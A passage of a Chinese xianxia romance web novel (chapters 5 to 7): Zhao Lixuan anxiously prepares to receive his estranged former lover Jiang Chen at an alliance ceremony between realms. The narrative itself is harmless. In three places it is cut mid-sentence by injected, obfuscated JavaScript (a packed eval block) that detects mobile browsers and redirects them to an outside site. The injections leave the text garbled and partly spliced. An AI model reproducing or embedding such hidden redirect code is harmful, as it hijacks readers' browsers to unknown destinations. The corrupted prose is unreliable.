可不解释清楚,又似乎难以找出理由顺利推拒。 赵离玄只能欲哭无泪、含糊其辞:“总之就是……咳,我年少时行事荒唐,不知天高地厚,与那姜沉仙尊……十分水火难容,甚至还曾有过……互砍械斗。” 夏云阶闻言讶然:“黎玄你么?难以想象。” 赵离玄很想说,那只是因为师兄你从来不曾见我去人间界后那嚣张肆意、挥金如土、仙阀老财的纨绔模样。 否则一切再容易想象不过!!! 然而不幸,他年少爱师兄面前装乖,如今又装了二十年的清冷缥缈。导致所有人都被假象蒙蔽,根本不肯信他曾有过混账不堪的模样! 果然,夏云阶闻言就只是拍拍他:“无妨,我相信黎玄你。” “就算年是年少轻狂,反正如今你也早已敛了心性。士别三日当刮目相看,正好趁此机会,与姜沉仙尊重新来过。” “你二人皆为两界翘楚,既有旧隙,于仙妖盟谊大为不利。不如借此良机冰释前嫌,重归于好,化干戈为玉帛,岂不美哉?” “…………” “……………………” 重新认识,化干戈为玉帛。岂不美哉。 呵,呵呵呵呵! 气若游丝从夏云阶处返回以后,赵离玄再度抱着软枕无声磕撞。 他真不懂,他是最近忘记看黄历吗?怎么倒霉至此!? 等等。 话又说回来…… 姜沉如果知晓由他专门接待,又会作何想? 姜沉该不会以为,是他时隔二十年依旧余情未了贼心不死,又想方设法处心积虑贴上去吧? 啊——! 若真如此,他真是跳进天河也洗不清了! 可他真的绝无此意。 绝无此意啊!!! …… 独自发疯半晌后,赵离玄再度平静。 要知塞翁失马,焉知非福!想来,夏云阶定下接待事宜后,必第一时间派遣灵蝶将安排告知鹿紫苑一方。 只要贵客对安排提出异议,浮熙宫自会主随客便、另行调整。 这不就结了? 姜沉会同意让他接待才有鬼,肯定断然拒绝。 他就静候美美换人! …… 两个时辰后,灵蝶翩然而归。 带回的消息是——燎原庭众仙对浮熙宫的安排“十分满意”,回信客套感激、宾主尽欢。接待事宜就此敲定。 赵离玄:“???” 不是,等等。 这不合理,姜沉为什么会同意? …… 姜沉当年多厌恶他,赵离玄可没忘。 哪怕在“两清”之后,他强忍着不再纠缠,可偶尔思念蚀骨,还是会忍不住悄悄绕路经过姜沉住所附近,只求远远偷望上一眼。 可就连这点卑微的奢望,当年的姜沉都厌恶得不行。 为防止他继续窥伺,那人竟干脆决定迁离人间界,直接搬去了与不染仙境完全隔绝的妖明界,只为彻底斩断他的妄念,永不相见。 就那么讨厌他。 这种决绝心狠也算世间少见。以至于赵离玄二十年后都记忆犹新。 可如今,一个当年避他如蛇蝎的人,却能对他卷土重来的“殷勤靠近”,反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582001|187285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应如此的……平淡?这正常吗? 还是说,是他以小人之心度君子之腹了。 难道姜沉如今真的已经修为高深、胸襟开阔,决心以这次猎魔月狩大局为重,不再计较二十年前那点小肚鸡肠的荒唐私情? “……” “……” 话虽如此。 赵离玄仍旧自顾自坐卧难安、满心憋闷。 主要是——他真的已经改了! 从内到外真·洗心革面。甚至痛定思痛,在这二十年来清心寡欲吃斋念道,男色女色一个没近过,更半点旖旎心思都未曾动过。 素成这样,他也很不容易的好吗? 当然不愿被人平白误会、怀疑、轻视、瞧不起。 毕竟凭什么啊? 黎玄仙君的尊严也是尊严!他当年在姜沉面前丢的脸已经够多了,真不能再丢了!!! 坐立难安的结果,就是赵离玄隔日对镜苦练了一上午。 反复调整神态、语气。直到确定镜子里面倒影出来的人,无论怎么看怎么都是一位清心寡欲、毫无破绽,一脸对万事万物都不感兴趣的死鱼眼冷漠仙君。 “……” 其实吧。 平心而论,二十年前他亦是这张脸,算得上十分俊朗。 怎奈何他当年的风格,却一直是那种浑身满满金银、财大气粗的土财主范儿,连鞋底都要精致绣面的,十个手指头上十个金戒指都不满足。 那珠光宝气的感觉,他自己爱极了,每日对镜自赏,满意非常。 谁知其他人都觉得不适合啊? 更可恨的是大家觉得怪,还硬憋着不说,导致他一路跑偏跑了那么多年。 所幸二十载光阴沉淀,他最终终于还是找对了适合自己风格——素衣白袍,摒弃雕饰,唯余清寂幽冷。 谁让他五官本就生得浓昳,再穿金戴银,就有些繁杂过了,反倒是这般极致的素净,才能愈发衬得他眉眼如刀、气质如霜。 因而,即便自己内心亦对此等“假正经”的做派并不以为然,却也不得不承认,他确实适合这种风格。 太合适了,以至于换风格后没几个月,所有人竟都信了他本就是个清冷自持的人。 还到处传他“疏离”“纤尘不染”“清冷孤高”。 天知道他哪有什么疏离和清冷气质??? 全是硬端! …… 两日后,黄昏将至。 人间界仙众即将抵达,不染仙境一方也已摆开迎宾仪仗。 赵离玄一大清早沐浴焚香。 一边穿衣,一边在镜前努力拉出一张比任何时候都更清心寡欲的死爹脸,发誓今日必要空前绝后的冷若冰霜、疏峻韵雅! 很好,他就以这副冰块棺材脸去见姜沉。 不信还会有人觉得他余情未了! 5. 第 5 章 赵离玄是万万没想到,他十足准备,还能出师不利。 …… 先是为不输气势而特意翻出的压箱底华贵行头——那件织金攒珠翡翠鎏金紫云龙纹战袍,被今日当值的小仙童好心拿去熏香,不慎给烫出了个焦黑窟窿。 “呜……弟子、弟子实在手笨,求师尊责罚!” 小仙童捧着战袍,泪眼汪汪。赵离玄一时无语。 “罢了罢了,别哭,大不了换一件就是。” 可随即,小侍女又在把帮他拿白玉簪时,不小心整盒落下摔得四分五裂。 赵离玄:“……” 他抬头望天。今日分明清风柔和,鸟语花香。 怎地独独他一人水行、诸事不顺?! 时间所剩无几,再挑新行头也根本来不及。赵离玄实属无奈,只能破罐子破摔干脆换上了浮熙宫人手一套、低调内敛、毫无特色的仙君标准制服。 唉,就。 稀里糊涂、爱咋咋的,硬着头皮上吧! 真是何苦来哉遭这份罪。还不如让他直接提剑杀去流霭隙渊,跟众魔真刀真枪干上一场!干赢留名青史,干输为国捐躯,好歹也算轰轰烈烈。 跟燎原庭联个什么劳什子的盟? 谁要跟前任冤家并肩作战! …… 当日傍晚,无垠云海之畔彩绚漫卷,流云镀金。 曾几何时,浮熙宫除了这天下闻名的云海,更有名动仙界的“四时之景”——鹿紫苑、夏云阶、赵岚泽、沈枫延四位仙君。 彼时世人皆言,四位仙君风采各异,恰如四季流转。有人明艳炽烈若盛夏骄阳,有人清冷沉静如深秋寒枫,有人温润和煦似春日暖意,有人疏朗旷达像冬夜月明。 只可惜,二十年前那场内战,赵岚泽为护苍生陨落,鹿紫苑黯然离去,沈枫延则下落不明,至今生死不知。 四时之景零落,只余夏云阶独守浮熙宫门庭。 好在如今,浮熙宫新一代仙君渐次长成。赵离玄更是其中名声最盛的一个。 仙界如今皆传,黎玄仙君颇有兄长岚泽仙君昔年遗韵,甚至隐隐有青出于蓝之势。 只有赵离玄自己清楚,他不过是个十数年前才堪堪改邪归正的浪荡纨绔,无论品貌、修为、胸襟……皆远不及兄长。 前任浮熙宫主赵岚泽一生光风霁月、心怀苍生,年少时便屡屡平息各方灾厄,更将许多孤雏纳入羽翼悉心教养。 最后更献祭己身,挽救三界于倾颓—— 赵离玄一生也难以望其项背。 可怎奈,他虽一无所成,虚名倒是传得飞快。 甚至近几年里,不染仙境还流行起了“一见黎玄误终身”的说法。 不知传言何来,许是他平日深居简出平添了几分神秘;又或是那“平易近人”的名声加持;再或许,众人不过是透过他追忆当年的赵岚泽…… 总之,拦不住这虚名一传十十传百,直将他捧得好似风姿卓绝、冠绝当代,天上有地上无。 以至于今日,无垠云海人头攒动。 好多散仙拖家带口,美其名曰共迎燎原庭道友,实则全是专程冲着他而来—— “快!留影石备好,此等良机岂容错过!” “录到了录到了!黎玄仙君方才刚往这边看了一眼!仙君,再看这边,笑一笑可好?” “今日果真来值了!都说多瞧几眼黎玄仙君便能心境澄澈!果然此言非虚,仙君周身仙气萦绕,我只多看了几眼便觉灵台清明,收益颇丰!” “喂你这个人!上个月不还言之凿凿,说什么‘一见黎玄误终身’纯属无稽之谈?” “咳……此一时彼一时!我当时不也没见过本人嘛!谁知仙君风姿更胜传闻,这般持重禁欲、仙风道骨模样,叫人怎能不……仙君!哈哈哈,黎玄仙君看我了!!” 喧嚣追捧,万众瞩目,将云海翻涌之声都盖了过去。 就连仙首夏云阶眼中都隐有一丝难以察觉的促狭。其余几位同僚也纷纷肩头微颤,显然在极力忍笑。 赵离玄:“……” 虽说如今仙界爱跟风追捧,他也难以理解。 但无论如何。 平白受欢迎,至少比当年给人当舔狗平白被偷笑要强! 想着,云海边的渡仙桥忽然一阵嗡鸣。 桥下庞大的传送阵法倏然启动,巨大的繁复金纹散发出浩瀚磅礴的灵压。数道光芒随即交织,如流动的虹,将黄昏的天空映照得一时恍如白昼明亮。 随即,刺目的光晕逐渐柔和。 光圈漾开一圈圈涟漪,光雨般层层扩散。一道道身影由虚化实,逐渐清晰—— 燎原庭众仙,莅临浮熙宫。 …… 赵离玄只恨自己眼尖。 那么黑压压的一大众仙人中,他竟一眼就精准捕捉到了悉日旧影。 姜沉…… 时隔二十年,真正再次见到,其实心情比预想中要平静。 普天之下凡能位列仙班者,无论是天生仙骨,又或是凡人苦修飞升和妖灵化形,皮相都会化作上乘,几乎找不到丑的。 比如此刻走在最前面的鹿紫苑师姐。 十余年不见,她依旧是明艳不可方物,兰姿玉质更胜往昔。而她身侧那位金发碧眼、五官深邃邪魅的“守约仙尊”楚浮生,更是名动三界、人间界画本子里的“三界第一美人”。 可是。 时隔多年,赵离玄却无奈发现,自己审美还是一如既往地顽固—— 若说楚浮生是浓烈的油彩画,那么姜沉便是一幅笔触锋利、意境幽远、仅以浓淡勾勒的水墨卷轴。 就连那双眼眸经年不见,也一如往昔是纯粹的黑。如子夜苍穹望不见底,敛着万千星辰陨落的寂寥。 赵离玄:“……” 还以为,他早已忘记了当年失智的感觉。 如今见到,倒是渐渐又想起来了。 一时间,时光仿佛回到年少时的炎夏蝉鸣。 彼时他混入萧雪楼,却无心听讲,只用书挡住大半张脸悄悄窥探身边少年,看他那极淡唇色,心里暗猜他为何总是极少言笑。 偶尔,姜沉被他盯久了,也会望过来。 赵离玄的心便会瞬间高高提起。 视线会对上么? 他要笑么?姜沉埋头苦学那么久,会不会饿了?小姜今天想吃什么? …… 如今多年已过,姜沉早已褪去当年稚气。 挺拔身姿裹在一袭玄色暗纹的广袖长袍中,沉静像一柄收入鞘中的剑,锋芒尽敛,只余下通身的冷冽与疏离。 似乎还是不爱笑。 一如既往如同终年冰雪亘古覆盖的孤绝山峰,不属于任何人。 一时又有许多回忆—— 有当年课后,他拽住姜沉淡淡药草味儿的衣袖,非要黏着他一起走。 有在那间藤蔓小院里,他托着腮笑眯眯看姜沉月下练剑、欣赏他在无人处轻轻拂过一朵将谢未谢的花。 更有无数次,他脑热冲上去,各种鬼话表白。 其实彼时的赵离玄面上浪荡不要脸,实际表白时也常面红耳赤、手脚紧张得不知道往哪里放。 却又十分的不知放弃,哪怕总被拒绝,还是一次次的黏上去:“救命之恩不能不报。你真行行好,给个机会……?” 当年他对姜沉,大概确实倾心得无可救药。 以至于时隔多年,都还能望着故人,不小心就陷入回忆。 救命,这可不是好习惯! 所幸他自顾自盯了那么久,对方的视线却始终没有看过来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582002|187285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 姜仙君今日似乎全程有点心不在焉,黑色眸子一直默默逡巡,像在人群中寻寻找着什么。 ……是在找谁? 但无论找谁,多半也与他无关。赵离玄赶紧收回眼神,偏生姜沉黑瞳毫无预兆地一转,突然看了过来。 猝不及防,两人就这么四目相对。 但,也就仅仅一瞬。 继而姜沉就平淡地移开了,未有任何波澜,仿佛根本不曾看见他般。 “……” “…………” “………………” 厉害。 佩服!!! 赵离玄袖中双手悄悄握紧。真是绝了,枉他还傻兮兮在镜子前花了一整天时间装高冷仙君!!! 真是万万没想到啊。 二十年后的姜沉,对他没有鄙夷,没有怨恨,没有敌意。 只有彻头彻尾的无视! 仿佛从来没有认识过他。仿佛眼前这个曾经为他要死要活、自作多情了那么久的人,在他心里不曾留下过一粒尘埃! “……” 好。 很好。姜临渊,你有种! 是可忍孰不可忍?二十年不见,重逢第一眼,他就输得如此彻底! 此刻,明明理智告诉赵离玄,相忘江湖其实是最好结局。却挡不住一股邪火却“噌”地烧起,烧得他恨不得立刻冲过去,扒下姜沉脸上那张淡然的的画皮! 他真的……宁可姜沉对他表达出明确的恨意。 哪怕翻出陈年旧怨,堂堂正正打上一架,也好过这般彻底无视! 绝不是他还对姜沉有什么余情未了。 只是…… 只是他原本以为,他就算做不成姜沉的白月光朱砂痣,至少也是稳稳扎在他心里的一根刺。 不然呢?好歹也掏心掏肺同床共枕、肌肤相亲了整整两年,就这么白睡了? 难道他当年就真有这么差,全心全意地伺候了姜沉两年,结果在别人心里连根刺都算不上? …… 燎原庭众仙君踏出大阵,广袖迎风,步履从容踏过云海虹霞。 越是近,围观众仙民越是沸腾——才欣赏完黎玄仙君的绝世风姿,又能一睹人间界妖仙们的风采,今日实在不虚此行、大饱眼福。 “快看快看,是人间界仙首鹿紫苑!好美好美,还有传闻中的三界至美楚浮生!” “咦,那位黑色长袍、唇线紧抿,如墨似画的仙君,又是何人?” “瞧他手里那把剑黑火缭绕……那莫非就是传说中的妖明界神兵‘浮生烬’?如此说来,此人难道就是……那位煞名在外的燎原庭执剑仙尊姜临渊?” “什么,姜临渊竟生得这般模样?” “岂有此理!为何传闻素来只说他凶戾可怖,却从不提他生得如此冷峻好看?” 这般议论,燎原庭众人早已司空见惯。 仙首鹿紫苑稳步前行,鼻尖却掠过一丝若有若无的酒香,不禁蹙起秀眉。 “……” “姜仙尊,你今日……饮酒了?” 姜沉入燎原庭十余载。在鹿紫苑看来,这位执剑仙尊虽性情孤冷、寡语少言,但修为深不可测,处事更是一向沉稳可靠。 唯有一点,让她颇为头疼—— 此人私下酗酒。 长日必饮,无酒难眠。偶尔更会突然发疯,不管不顾一通猛灌。 平日就不爱说话的人,喝完更是沉默。 只用那双黑瞳死死盯人,看得所有人脊背发凉。 作为仙首,鹿紫苑也曾好言相劝过几次,奈何姜沉根本不听。后来她见他倒也从未因酒误事,也就懒得管了。 然而今日…… 他怎会一反常态。明知是这等正式场合,还一身遮掩不住的酒气? 6. 第 6 章 燎原庭守约仙尊楚浮生,有一个秘密。 他其实是个黄皮仙。 黄皮仙,不是黄皮子仙。 黄皮,性味辛酸,微温,主治行气消食。简而言之,一种果品。 堂堂燎原庭守约仙尊,本体竟是个果品,这事说出去谁信啊?好歹他们仙首鹿紫苑可是半个灵秀高贵的鹿。姜临渊虽是虫豸,也是华美的蝶族啊。 唯独他,连个动物都不是! 这实在有些丢人。 因为这么个原因,黄皮楚家千百年来一直低调处世。后来他娘亲又嫁了个凡人,更唯恐儿子因身份受其他精怪欺凌,特意将他那头耀眼的金发染黑,又施法改变眸色,才敢送他去仙塾萧雪楼修习。 之后多年,楚浮生就一直乖乖念书,还和如今的同僚姜沉当过几年同窗。 但彼时两人座次较远,并不相熟。 以至于楚浮生对姜沉的印象,也只有模糊记得此人性情孤僻,还有就是,似乎他当年身边总有个吊儿郎当的仙二代如影随形? 再后来,人皇广开商路,各国客商云集大夏。 大家见得外族多了,楚浮生的那金发碧眼也不再被视为异类,他才终于得以恢复本貌。 但始终还是没人知道他是个黄皮仙。 大家总因他样貌漂亮又仙法强悍,想当然猜测他多半是什么稀世金羽凤鸟妖仙之类。 同样,许是因外貌变化过大,姜沉目测至今也没认出他这个昔日同窗。 …… 待两方行至一处,鹿紫苑要忙着与众人仙寒暄。 走之前落下一瞥,楚浮生立刻心领神会——仙首的意思是让他多看顾点姜沉这个不省心的,莫要他酒后失仪。 楚浮生马上恪尽职守,却见姜沉十分心不在焉。 “姜仙尊,你在找谁?” 说话间,他便再度顺着姜沉目光望向对面浮熙宫。有一人玉色长袍、气质不俗,顷刻攫住他视线。 “啊~” 浮熙宫新一代翘楚他大都见过。 唯有最负盛名的黎玄仙君,过去数十年从来不踏足人间界,他一直很好奇到底什么样。 如今终于看到黎玄仙君本人! 果然名不虚传,气质出尘,风姿卓绝。尤其那五官,明明是极为亮眼的浓墨重彩,眉宇间却又并无凌厉肃杀,反倒蕴着一派儒雅谦和。 一笑更是和煦温润,一看便知性子很好。 浮熙赵氏是仙界名门豪族,据传有家财万贯,良田千顷,法宝成山。仙君身为那般豪门嫡系,却仍能富贵不淫、稳重自持,足见家教优良。 俊朗温雅,又富有四海,也怪不得是仙界“一见误终身”的春闺梦里人。 楚浮生心念流转,手肘便大咧咧戳了姜沉一下:“哎。” “姜仙尊你瞧,那位就是传闻中‘人见人爱花见花开’的黎玄仙君吧,果然百闻不如一见!” 谁成想。 姜沉在他说出“黎玄仙君”四字的刹那,陡然变色。 楚浮生不解。 对面,黎玄仙君正微微侧首,与身旁的如沐仙君低语。全程眸光微垂,浅浅带笑,并无任何异样。 可他再转回眸来看他身边的执剑仙君,却已是沉郁阴鸷、薄唇紧抿,眸光幽晦至极。 怎、怎么了? 怎么姜仙君会是这般神情? 这,难不成,他与这黎玄仙君还能有什么恩怨过节不成? 可他们见过吗?黎玄仙君不是从不踏足人间? 等等。 等一下,是他的错觉么。 仔细看去,这黎玄仙君怎么好像有一点点……若有似无的眼熟。 …… 楚浮生看。 楚浮生细看。 楚浮生凝神细看。 不是,这仙君怎么长得有点像当年萧雪楼念书时,那个成天没正形、死皮赖脸追在姜临渊身后的有钱二世祖啊? 不可能吧。 难不成真是他?所以姜沉才是那般见鬼了的表情? 但倘若真是他,守约仙尊真要默默感叹人的可塑性了—— 古人云,士别三日,当刮目相待。 古人诚不欺我!谁能想士别二十年,有人气质真能判若云泥? 真不能怪姜沉乍见之下都未能立刻认出,这变化实在天翻地覆,谁能不迷糊? 就连站姿都完全不一样了! 楚浮生清晰记得当年,那二世祖可是出了名的站没站相,随时如黏人膏药般贴上姜沉,没有骨头一般。 可此刻眼前的黎玄仙君,却如雪后青松般挺拔卓然。 恰有仙风拂过,缭乱他几缕发丝。更见他修长手指随意抬起,便从容优雅地将发丝掠至耳后。仍是专注倾听、浅浅带笑,雅正端方又不失谦和风范。 与二十年前笑容轻浮的模样,寻不出半分相似之处! …… 按说,两界仙君会面,赵离玄本不该私下与同僚交头接耳。 但他今日又着实担心如沐师兄。 浮熙宫上下皆知,宫中许多仙君皆是已故宫主赵岚泽当年游历四方时捡回的仙族孤儿。郁如沐便是其中之一。 如沐师兄容貌不算出众,性子也比旁人安静,随着年岁渐长,在一众天资卓越的师兄弟间资质亦属平常,便早早转了医道。 凭借着不眠不休勤学苦练的劲儿,倒是渐渐在丹道医理小有所成。 从此,郁如沐就成了那个常年为同门熬制药草烹煮补汤,在仙门里并不起眼,却也不可或缺的温厚师弟。 再后来,仙妖之争愈演愈烈,浮熙宫同门纷纷奉旨下界助战。 郁如沐则留在浮熙宫看家,却在某次出门采药时,捡回一个浑身是伤、奄奄一息的少女。 少女名叫阿荼,据说因这次纷乱全族被下界妖仙屠戮尽殁的人仙,只能独自逃回仙界、孤苦无依。 郁如沐找到她时,她正孤零零蜷缩在破败祭塔的角落里瑟瑟发抖,一双湿漉漉的眼睛满是惊惧无助。 他很是同情,便将她带回了浮熙宫。 少女伤势极重,又一身怪病,郁如沐只能不眠不休翻阅古籍,努力调配汤药、悉心照料。 那段时日,赵离玄在人间界常收到这位小师兄的信。 信上除了说人间界危险劝他早点回家之外,就几乎全是围绕着那位“阿荼”。 渐渐,透过字里行间都要溢出来的怜惜关爱,赵离玄就算远在千里之外,也明白了如沐师兄的心思。 也巧。 同段时日,赵离玄也正好在追姜沉。 郁如沐信说,他日日衣不解带,为阿荼治伤苦恼。 巧了,赵离玄也在为姜沉的寒症绞尽脑汁。 郁如沐还说,阿荼嘴挑得很,不吃鱼虾、不吃葱姜蒜,独爱甜食与烹制得宜的鲜羊。 巧了,姜沉口味也挑剔得紧,甜食不沾,鱼类不碰,难伺候程度半斤八两。 阿荼还不喜喧闹,不愿早起,稍微出点远门就喊累,又被郁如沐宠得越发小性子,稍有不顺心便摆起脸色。 巧啊,真是太巧了!!! 原来全天下的心上人都一样难养。 赵离玄彻底平衡了——毕竟,连如沐师兄那般擅长庖厨药膳又温软善良,都不能伺候得阿荼姑娘展颜。 那他这种不是烧糊锅底就是咸淡失控的拙劣货色,自然更得不到好脸色啦! 嗨,非要说的话…… 这大概就是他们浮熙宫仙君们命里注定的坎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16582003|187285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧——都爱找难搞的心上人,个个都被吃得死死的。 可不止他与郁如沐! 就连光风霁月的好大哥,不也一样被他那位总没好脸色的心上人耍得团团转? 浮熙宫传统艺能了,代代冤种! …… 那时谁也没想到,阿荼的凄楚身世和柔弱外表,竟不过是一场精心编织的骗局。 阿荼真名荼姬,实非人仙,而是趁着三界动荡封印不稳,从流霭隙渊潜入仙界的魔族大将。 魔族此次潜入,目标十分明确——趁仙妖交恶,借机破坏支撑仙界气运的四象镇魔塔,加速封魔大印侵蚀。 荼姬既得了郁如沐的信任呵护,便立刻充分利用起来。 不仅因他的庇护安然隐匿于仙界,更随着二人感情渐进,一步步套取了成功进入神塔的方法。 …… 待到阴谋揭穿,一切为时已晚。 四象祭塔灵光湮灭,封魔大印加速瓦解。最终浮熙宫主赵岚泽不得不以身祭阵,才堪堪阻下三界浩劫。 赵离玄未能见兄长最后一面,只拿到他最后写给他的一封书信。 信中说,是他自愿为苍生献祭,望幼弟莫要伤心。 还说,如沐是他亲手带大、视若珍宝的弟子。此番真心错付十分可怜,望弟弟以后护着他,别让旁人欺辱了他。 …… 赵离玄从小恃宠而骄、不大听话。 人生前二十年,全赖兄长如参天大树般为他遮风挡雨。无论闯下什么祸事,总有兄长担着。 直至兄长离开,他一夜长大。 终于好好听了一次兄长的话——从此好好护着浮熙宫上下所有人,更誓要守住这兄长以性命换来的三界和平。 逝者如灯灭。 活着的人却也未必能够安好。 没有人责怪郁如沐。郁如沐却自请漂泊在外,连续数年疯狂搜寻早已失传的结魂复生之术。 自然皆是徒劳。 再后来,郁如沐回到了浮熙宫。 仍是从前那副温吞老好人的模样,依旧每日为大家煎药疗伤,忙前忙后。 但终究,不一样了。 十年前那次猎魔月狩,赵离玄未去。却听归来同门说起,战场上如沐仙君招招式式皆以命相搏……仿若一心在等待某个危急关头,效仿宫主当年献祭己身。 可惜上天没有给他那个机会。 之后的日子,如沐仙君依旧如常,平日也能谈笑。 只偶尔会突然眼神空洞,失魂落魄躲在角落。严重时甚至浑身僵硬,动弹不得。 按古籍所述,那似是仙族中一种极为罕见的心魔之症。史上也几位仙君般因过度悲恸自责而长期郁郁,有人还最终选择了自毁仙元。 近年来,郁如沐此状愈发频繁,不免让赵离玄忧虑。 故而他常陪着郁如沐。 今日亦然。 见他神色憔悴、不似平常,赵离玄便一路同他插科打诨,想要帮他打起精神。 可还未将人哄好,夏云阶便点了名,让郁如沐代表浮熙宫去缔结此次猎魔月狩的“互信印契”。 “你待着,我去!” 缔结印契虽不是难事,却耗费心神。尤其对心魔未除、执念深重之人更是凶险,比修炼艰深功法更易诱发心魔。 今日郁如沐状态不佳,赵离玄自然不能让他冒这个险! 当即一个小法术,将郁如沐暂定原地,自己则整了整衣袍,从容上前。 燎原庭一方,守约仙尊楚浮生也正欲出列。 却突然一道幽黑剑光倏然横亘于前—— 燃烧着暗焰的长剑拦住了去路。黑衣男子带着未散酒气,垂眸侧脸,线条冷硬: “我去。” 7. 第 7 章 订个契约而已,谁去都一样。 这点楚浮生倒是没有意见,只是有人一身酒气,走路都踉跄了,还逞强呢? 赵离玄是万万没想到对面出列的竟是姜沉。 毕竟按说缔约盖印这一类的事,难道不该是“守约仙尊”来负责吗? “……”早知他来,我便不来了! 可事到如今,也没法再退回去,只能硬着头皮狭路相逢。 唉。 算了,姜沉就姜沉吧。他还能当众吃了自己不成? 赵离玄想毕,强压下心头胡思乱想,两人渐近。 这时他才终于看清,姜沉那一袭玄色为底、织就繁复暗红纹路的长袍,远看黑沉肃雅,近看却完全超乎想象地华丽。 不仅如此,对方腰间竟还盈盈束着一条鎏金血珀镶龙骨的腰带,饰带上坠着的鲛绡,恰到好处地勾勒出他劲窄的腰线。更衬得他惊心动魄地长身玉立、俊美非凡。 ……很不可思议。 因为这根本不是姜临渊的风格。 赵离玄清楚记得二十年前,彼时他年少轻狂,总忍不住想用各种明艳张扬的色泽与华美配饰来好好打扮心上人。 因而,一度购置了无数织金缀玉的绫罗绸缎、璀璨夺目的珠玉环佩,硬逼着姜沉穿。 可姜沉并不情愿。他便自作聪明,趁姜沉出门直接将他整个衣柜都给换了,将那些或黑或素的衣衫尽数替换成了流光溢彩的织金云缎华服。 结果弄巧成拙,害姜沉发了好大的火。 犹记他当日沉着脸,一字一句告知他,自己平生最厌弃金玉浮华,此生绝不肯沾染。 再后来,两人分手,姜沉决意前往妖明界。 赵离玄心中不舍,又不敢亲自送别惹他碍眼,只得托人送去诸多践行之礼,其中亦不乏一堆堆上好的彩色锦缎与昂贵饰品。 自然,所有礼物都被原样退回。 也不全是“原样”——置于最上方的几匹鲜艳缎子,还被撕得破烂不堪。 ……所以,为什么二十年后,当年的人却会主动穿上以前最不屑一顾的华服,还佩戴起了腰饰? 若是别人倒也罢了。 姜沉这人却是世间少有的言出必行。说厌恶便是真厌恶,说一辈子不碰就绝不会破例。 除非。 除非他如今……真就早把当年一切忘了个彻底,连带着那些激烈的喜恶也一并抛却。 也是。 若非彻底遗忘,以姜沉的高傲心性又怎会自打脸面? 思绪翻涌间,赵离玄已行至姜沉面前。 奇怪的是,方才这位姜仙君在人群中与他目光相接时,还是一派漠不关心的淡然。 此刻倒是肯正眼看他了。 只是那眼神,着实算不得友善。 赵离玄也不知该如何形容那目光——总觉姜沉眼神如刀,分明带着毫不掩饰的审视。 却又像雨后浓云、海夜浮冰。冰层之下暗流汹涌,晦涩沉浮着种种他看不懂的阴翳与诘问。 …… 也不知这人又在不高兴什么。 赵离玄暗自腹诽。犹记二十年前,姜沉被他养在别院时,虽也性子别扭,终究寄人篱下尚存几分克制。 如今倒好,执剑仙君地位尊崇、无需再装,直接将不待见写在脸上。 也罢。 谁又怕谁了。黎玄仙君直接扬起一抹无可挑剔、谦和宽煦的招牌假笑。 本想摆棺材脸的。 可既然对方先将“冷淡不待见”这张牌出了,他只能反其道而行,展现出浮熙宫仙君的雍容气度。 让周遭众仙看看,什么叫高下立现! …… 赵离玄千不该万不该,只顾较劲,竟让原本早在脑中打好的寒暄腹稿不翼而飞。 思路一断倒不要紧,本来已在嘴边的客套话,一句都想不起来了。 呃。 可众目睽睽,两人好歹也是双方的实权仙尊,总得说点什么。不然大眼瞪小眼岂不尴尬? 赶紧想!说什么好? 急速思索间,忽然迎面淡淡酒香。 赵离玄下意识蹙眉,时隔二十年零一百一十三天,他竟险些条件反射地冲口吼出—— “都说多少次了!小姜你灵脉有损、体质虚寒,不可饮酒!究竟要说多少遍你才肯听?” “…………” 救、救命。 幸好幸好,理智尚存。临时刹住,谢天谢地! 赵离玄劫后余生浑身炸毛。这都是什么二十年前的可怕习惯?如此根深蒂固,简直惊悚! 后怕之余,他一时倒来了个急中生智,丝滑笑道:“……好香啊,是梨花白?” 姜沉的脸色瞬间阴了下去。 赵离玄:“……?” 不是,他自觉这句寒暄虽不算高明,但也绝不算失礼吧。 可为何姜仙君的反应,比起方才纯粹的冰冷,更分明平添了几分实质性的阴沉? 甚至某个瞬间,赵离玄都觉得那双看过来的黑眸幽深几乎都翻涌着暗火了,像要生生把他烫出个窟窿来。 “……”好在,这眼神赵离玄以前不是没见过。 二十年前,就在那张他俩夜夜笙歌的床上,其实相当常见。 也亏他当年能自我催眠,觉得那并不是厌恶,甚至认为这或许就是传说中的“恨海情天”? 唉,后悔。 赵离玄总之,就是一个后悔。 过去实在不堪回首。也不怪他无论怎么做,此刻在姜沉眼中都是错。 一转眼,周遭景象倏然变幻。 结契大阵骤起,无声展开,将外界的所有喧嚣与目光隔绝。 结契领域内,是一片无尽的虚空。 黑暗中,只有一道悬浮于虚空、泛着微光的玉石台阶,一级级向上延伸,通往高处那座孤悬的结契祭坛。祭坛古朴苍凉,其上符文流转,已在此延续千万年。 